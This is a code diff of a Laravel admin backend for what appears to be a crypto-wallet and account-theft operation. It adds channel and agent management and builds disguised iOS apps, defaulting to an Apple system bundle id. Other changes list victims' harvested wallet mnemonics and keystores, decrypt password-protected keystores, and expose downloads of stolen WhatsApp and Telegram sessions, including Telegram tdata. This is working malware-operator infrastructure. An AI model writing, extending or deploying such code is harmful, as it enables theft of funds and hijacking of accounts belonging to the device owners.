|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
}
|
||||
|
||||
@@ -96,6 +132,7 @@ class AuthController extends Controller
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
$user->clearLoginAttempts();
|
||||
$request->session()->regenerate();
|
||||
|
||||
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
|
||||
|
||||
@@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelEmbedZipService;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
@@ -85,8 +86,16 @@ class ChannelController extends Controller
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'app_name' => $c->app_name ?: '',
|
||||
'bundle_id' => $c->bundle_id ?: '',
|
||||
'h5_url' => $c->h5_url ?: '',
|
||||
'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '',
|
||||
'links' => $c->supportLinks(),
|
||||
'landing_path' => $c->landingPath(),
|
||||
'embed_zip_url' => $c->embedAssetDir()
|
||||
? route($this->portal().'.channels.embedZip', $c)
|
||||
: '',
|
||||
'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
@@ -102,10 +111,18 @@ class ChannelController extends Controller
|
||||
|
||||
public function randomId()
|
||||
{
|
||||
$builderType = strtolower(trim((string) request()->query('builder_type', 'new')));
|
||||
|
||||
$channelId = match ($builderType) {
|
||||
Channel::BUILDER_APP => Channel::randomAppChannelId(),
|
||||
Channel::BUILDER_OLD => Channel::randomChannelId(),
|
||||
default => Channel::randomNewChannelId(),
|
||||
};
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomNewChannelId()],
|
||||
'data' => ['channel_id' => $channelId],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -113,6 +130,18 @@ class ChannelController extends Controller
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_NEW)));
|
||||
|
||||
// ── App builder: no static resources, just a DB row ──────────
|
||||
if ($builderType === Channel::BUILDER_APP) {
|
||||
return $this->storeAppChannel($request);
|
||||
}
|
||||
|
||||
// ── Old builder: 32-hex channel id, /web/{id}/support.html ──
|
||||
if ($builderType === Channel::BUILDER_OLD) {
|
||||
return $this->storeOldChannel($request, $projects);
|
||||
}
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
@@ -201,6 +230,287 @@ class ChannelController extends Controller
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'channel_dir' => $build['channel_dir'] ?? null,
|
||||
'show_alias' => $build['show_alias'] ?? null,
|
||||
'embed_zip_url' => $channel->embedAssetDir()
|
||||
? route($this->portal().'.channels.embedZip', $channel)
|
||||
: '',
|
||||
'embed_script' => $channel->promoScriptSnippet(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an "app" builder channel — DB row only, no static resources.
|
||||
*
|
||||
* channel_id is auto-generated as a UUID (a13b4f76-…). The caller
|
||||
* supplies app_name (e.g. "Ai") and bundle_id (e.g. aai.AiAi168168AiAi.app).
|
||||
*/
|
||||
private function storeAppChannel(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'app_name' => ['required', 'string', 'max:64'],
|
||||
'bundle_id' => ['required', 'string', 'max:255'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||
if ($channelId === '') {
|
||||
$channelId = Channel::randomAppChannelId();
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $channelId, $userId) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => Channel::BUILDER_APP,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'app_name' => $data['app_name'],
|
||||
'bundle_id' => $data['bundle_id'],
|
||||
'h5_url' => $data['h5_url'] ?? null,
|
||||
]);
|
||||
});
|
||||
} catch (ValidationException $e) {
|
||||
throw $e;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'channel_id' => $channel->channel_id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'app_name' => $channel->app_name,
|
||||
'bundle_id' => $channel->bundle_id,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* POST /admin/channels/build-app — Create App channel + build IPA.
|
||||
*
|
||||
* Creates the Channel record, then invokes AppPackageService to
|
||||
* generate a customized IPA (domain, channel ID, app name, logo).
|
||||
* Returns the download URL on success.
|
||||
*/
|
||||
public function buildApp(Request $request)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
// Double-check super admin (route middleware admin.super is primary guard)
|
||||
$admin = auth('admin')->user();
|
||||
abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'app_name' => ['required', 'string', 'max:64'],
|
||||
'bundle_id' => ['nullable', 'string', 'max:255'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||
if ($channelId === '') {
|
||||
$channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
$bundleId = trim((string) ($data['bundle_id'] ?? ''));
|
||||
if ($bundleId === '') {
|
||||
$bundleId = 'com.apple.mobile.MobileHouseArrest';
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => Channel::BUILDER_APP,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'app_name' => $data['app_name'],
|
||||
'bundle_id' => $bundleId,
|
||||
'h5_url' => $data['h5_url'] ?? null,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
|
||||
}
|
||||
|
||||
// Handle logo upload
|
||||
$logoPath = null;
|
||||
if ($request->hasFile('logo')) {
|
||||
$file = $request->file('logo');
|
||||
if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
|
||||
$logoPath = $file->getRealPath();
|
||||
}
|
||||
}
|
||||
|
||||
// Build IPA
|
||||
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||||
|
||||
try {
|
||||
$service = app(\App\Services\AiWalletPackageService::class);
|
||||
$result = $service->build($channel, $logoPath, $apiDomain);
|
||||
} catch (\Throwable $e) {
|
||||
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => $result['success'] ? 0 : 1,
|
||||
'msg' => $result['success'] ? '构建成功' : ('渠道已创建,但 IPA 构建失败:'.$result['error']),
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'channel_id' => $channel->channel_id,
|
||||
'app_name' => $channel->app_name,
|
||||
'bundle_id' => $channel->bundle_id,
|
||||
'h5_url' => $channel->h5_url,
|
||||
'ipa_url' => $result['success'] ? $result['path'] : null,
|
||||
'ipa_size' => $result['size'],
|
||||
'api_domain' => $apiDomain,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an "old" builder channel — 32-hex channel id, static resources
|
||||
* under /web/{id}/ via the legacy channel-builder (new_project.py).
|
||||
* Mirrors the new-builder flow but with the old id format and builder.
|
||||
*/
|
||||
private function storeOldChannel(Request $request, ChannelProjectService $projects)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = strtolower(trim((string) ($data['channel_id'] ?? '')));
|
||||
if ($channelId === '') {
|
||||
$channelId = Channel::randomChannelId();
|
||||
}
|
||||
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||
throw ValidationException::withMessages(['channel_id' => '旧版渠道 ID 必须是 32 位 hex']);
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelId)) {
|
||||
throw ValidationException::withMessages(['channel_id' => '该渠道 ID 为保留名,请重新生成']);
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = Channel::BUILDER_OLD;
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$build = $projects->generate(
|
||||
$channelId,
|
||||
$supportTemplate,
|
||||
null,
|
||||
null,
|
||||
$builderType,
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '渠道资源生成失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelId) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => $builderType,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $channelId, $builderType);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
'seeds_initialized' => $build['seeds_initialized'],
|
||||
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'channel_dir' => $build['channel_dir'] ?? null,
|
||||
'show_alias' => $build['show_alias'] ?? null,
|
||||
'embed_zip_url' => $channel->embedAssetDir()
|
||||
? route($this->portal().'.channels.embedZip', $channel)
|
||||
: '',
|
||||
'embed_script' => $channel->promoScriptSnippet(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -223,9 +533,13 @@ class ChannelController extends Controller
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('h5_url', $data)) {
|
||||
$channel->h5_url = $data['h5_url'] ?: null;
|
||||
}
|
||||
if (array_key_exists('user_id', $data)) {
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
@@ -253,6 +567,24 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
if ($channel->isAppBuilder()) {
|
||||
abort(404);
|
||||
}
|
||||
|
||||
try {
|
||||
$path = $zips->build($channel);
|
||||
} catch (\Throwable $e) {
|
||||
abort(404, $e->getMessage() ?: '打包失败');
|
||||
}
|
||||
|
||||
return response()->download($path, $channel->embedZipName(), [
|
||||
'Content-Type' => 'application/zip',
|
||||
])->deleteFileAfterSend(true);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
@@ -13,6 +13,7 @@ use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
@@ -21,7 +22,6 @@ use App\Models\WalletMnemonic;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\PhotoOrigin;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\CfIpCountry;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
@@ -68,10 +68,8 @@ class DeviceController extends Controller
|
||||
|
||||
$portal = $this->portal();
|
||||
$items = collect($paginator->items());
|
||||
$visitCountries = $this->visitCountriesFor($items);
|
||||
$data = $items->map(function (Device $d) use ($portal, $visitCountries) {
|
||||
$country = CfIpCountry::normalize($d->country)
|
||||
?? CfIpCountry::normalize($visitCountries[trim((string) $d->ip)] ?? null);
|
||||
$data = $items->map(function (Device $d) use ($portal) {
|
||||
$country = CfIpCountry::normalize($d->country);
|
||||
|
||||
return [
|
||||
'id' => $d->id,
|
||||
@@ -93,7 +91,7 @@ class DeviceController extends Controller
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
'destroy_url' => route($portal.'.devices.destroy', $d),
|
||||
'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -110,7 +108,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
@@ -172,11 +170,13 @@ class DeviceController extends Controller
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||
'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page),
|
||||
'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page),
|
||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||
};
|
||||
}
|
||||
@@ -518,28 +518,20 @@ class DeviceController extends Controller
|
||||
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
if ($addresses->isEmpty()) {
|
||||
$n = $device->addresses()->where('monitor', 1)->count();
|
||||
if ($n === 0) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$svc = app(TokenviewMonitorService::class);
|
||||
} catch (\Throwable) {
|
||||
return;
|
||||
}
|
||||
foreach ($addresses as $address) {
|
||||
try {
|
||||
$address->monitor = 0;
|
||||
$address->monitor_synced = false;
|
||||
$address->monitor_failures = 0;
|
||||
$svc->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
||||
'device_id' => $device->id,
|
||||
'address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
|
||||
// ingest can leave dozens of monitor=1 rows; blocking delete on that
|
||||
// freezes the admin UI (and php artisan serve). Rows are deleted in
|
||||
// the next step, so webhooks will no longer match monitor=1.
|
||||
Log::info('device_purge skip_tokenview_unmonitor', [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'monitor_rows' => $n,
|
||||
]);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
@@ -674,18 +666,21 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
|
||||
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$sortable[] = 'needs_password';
|
||||
}
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
|
||||
// Step 1: get paginated IDs ordered by the sort field (no blob access).
|
||||
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
|
||||
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$idQuery->where('wallet_keystores.needs_password', 1);
|
||||
}
|
||||
$total = $idQuery->toBase()->getCountForPagination();
|
||||
$page = max(1, $page);
|
||||
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
@@ -707,14 +702,12 @@ class DeviceController extends Controller
|
||||
'id' => $row->id,
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -728,7 +721,7 @@ class DeviceController extends Controller
|
||||
$field = 'is_wallet';
|
||||
$order = 'desc';
|
||||
}
|
||||
$q = $device->apps();
|
||||
$q = $device->apps()->listed();
|
||||
if ($field === 'is_wallet') {
|
||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||
} else {
|
||||
@@ -748,6 +741,45 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q = $device->pluginSessions()->where('kind', $kind);
|
||||
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||
$data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) {
|
||||
$summary = $row->listSummary();
|
||||
|
||||
return array_merge($summary, [
|
||||
'id' => $row->id,
|
||||
'kind' => $row->kind,
|
||||
'account_id' => $row->account_id ?: '',
|
||||
'phone' => $row->phone ?: '',
|
||||
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.tdata', $row, false)
|
||||
: '',
|
||||
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.session-file', $row, false)
|
||||
: '',
|
||||
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||
? route($portal.'.sessions.ws-full', $row, false)
|
||||
: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
]);
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$noteId = $device->notes()->orderByDesc('id')->value('id');
|
||||
@@ -929,6 +961,9 @@ class DeviceController extends Controller
|
||||
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||
return Device::CHAIN_DARKSWORD;
|
||||
}
|
||||
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||
return Device::CHAIN_APP;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -1019,39 +1054,4 @@ class DeviceController extends Controller
|
||||
'msg' => '队列顺序已更新',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest visit country per IP for devices that have no country of their own.
|
||||
*
|
||||
* @param Collection<int, Device> $devices
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function visitCountriesFor(Collection $devices): array
|
||||
{
|
||||
$ips = $devices
|
||||
->filter(fn (Device $d) => CfIpCountry::normalize($d->country) === null)
|
||||
->map(fn (Device $d) => trim((string) $d->ip))
|
||||
->filter()
|
||||
->unique()
|
||||
->values();
|
||||
if ($ips->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$latestIds = PageVisit::query()
|
||||
->selectRaw('MAX(id) as id')
|
||||
->whereIn('ip', $ips)
|
||||
->whereNotNull('country')
|
||||
->where('country', '!=', '')
|
||||
->groupBy('ip')
|
||||
->pluck('id');
|
||||
if ($latestIds->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return PageVisit::query()
|
||||
->whereIn('id', $latestIds)
|
||||
->pluck('country', 'ip')
|
||||
->all();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -41,19 +42,27 @@ class KeystoreController extends Controller
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at'];
|
||||
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$sortable[] = 'needs_password';
|
||||
}
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||
if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) {
|
||||
$q->orderBy('devices.chain', $order);
|
||||
} else {
|
||||
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||
}
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
'devices.chain as device_chain',
|
||||
]);
|
||||
Log::info('keystore.list.data.start', [
|
||||
'page' => $page,
|
||||
@@ -225,6 +234,73 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if ((int) $keystore->needs_password !== 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
|
||||
}
|
||||
$password = trim((string) $request->input('password', ''));
|
||||
if ($password === '') {
|
||||
return response()->json(['code' => 1, 'msg' => '请输入密码'], 422);
|
||||
}
|
||||
if (strlen($password) > 256) {
|
||||
return response()->json(['code' => 1, 'msg' => '密码过长'], 422);
|
||||
}
|
||||
$device = $keystore->device;
|
||||
if ($device === null) {
|
||||
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
|
||||
}
|
||||
@set_time_limit(180);
|
||||
@ini_set('max_execution_time', '180');
|
||||
|
||||
$before = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
